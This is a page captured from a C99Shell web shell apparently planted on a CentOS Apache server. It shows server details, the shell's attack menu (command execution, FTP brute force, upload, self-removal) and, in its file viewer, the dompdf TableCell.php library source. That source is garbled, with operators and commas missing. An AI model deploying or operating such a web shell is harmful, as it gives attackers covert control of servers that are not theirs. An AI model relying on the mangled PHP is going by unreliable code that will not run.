!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/boletos/vendor/dompdf/dompdf/src/FrameDecorator/   drwxr-xr-x
Free 9.06 GB of 93.48 GB (9.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     TableCell.php (3.25 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package dompdf
 * @link    http://dompdf.github.com/
 * @author  Benj Carson <benjcarson@digitaljunkies.ca>
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameDecorator;

use 
Dompdf\Dompdf;
use 
Dompdf\Frame;
use 
Dompdf\FrameDecorator\Block as BlockFrameDecorator;

/**
 * Decorates table cells for layout
 *
 * @package dompdf
 */
class TableCell extends BlockFrameDecorator
{

    protected 
$_resolved_borders;
    protected 
$_content_height;

    
//........................................................................

    /**
     * TableCell constructor.
     * @param Frame $frame
     * @param Dompdf $dompdf
     */
    
function __construct(Frame $frameDompdf $dompdf)
    {
        
parent::__construct($frame$dompdf);
        
$this->_resolved_borders = array();
        
$this->_content_height 0;
    }

    
//........................................................................

    
function reset()
    {
        
parent::reset();
        
$this->_resolved_borders = array();
        
$this->_content_height 0;
        
$this->_frame->reset();
    }

    
/**
     * @return int
     */
    
function get_content_height()
    {
        return 
$this->_content_height;
    }

    
/**
     * @param $height
     */
    
function set_content_height($height)
    {
        
$this->_content_height $height;
    }

    
/**
     * @param $height
     */
    
function set_cell_height($height)
    {
        
$style $this->get_style();
        
$v_space = (float)$style->length_in_pt(array($style->margin_top,
                
$style->padding_top,
                
$style->border_top_width,
                
$style->border_bottom_width,
                
$style->padding_bottom,
                
$style->margin_bottom),
            
$style->width);

        
$new_height $height $v_space;
        
$style->height $new_height;

        if (
$new_height $this->_content_height) {
            
$y_offset 0;

            
// Adjust our vertical alignment
            
switch ($style->vertical_align) {
                default:
                case 
"baseline":
                    
// FIXME: this isn't right

                
case "top":
                    
// Don't need to do anything
                    
return;

                case 
"middle":
                    
$y_offset = ($new_height $this->_content_height) / 2;
                    break;

                case 
"bottom":
                    
$y_offset $new_height $this->_content_height;
                    break;
            }

            if (
$y_offset) {
                
// Move our children
                
foreach ($this->get_line_boxes() as $line) {
                    foreach (
$line->get_frames() as $frame)
                        
$frame->move(0$y_offset);
                }
            }
        }
    }

    
/**
     * @param $side
     * @param $border_spec
     */
    
function set_resolved_border($side$border_spec)
    {
        
$this->_resolved_borders[$side] = $border_spec;
    }

    
/**
     * @param $side
     * @return mixed
     */
    
function get_resolved_border($side)
    {
        return 
$this->_resolved_borders[$side];
    }

    
/**
     * @return array
     */
    
function get_resolved_borders()
    {
        return 
$this->_resolved_borders;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0043 ]--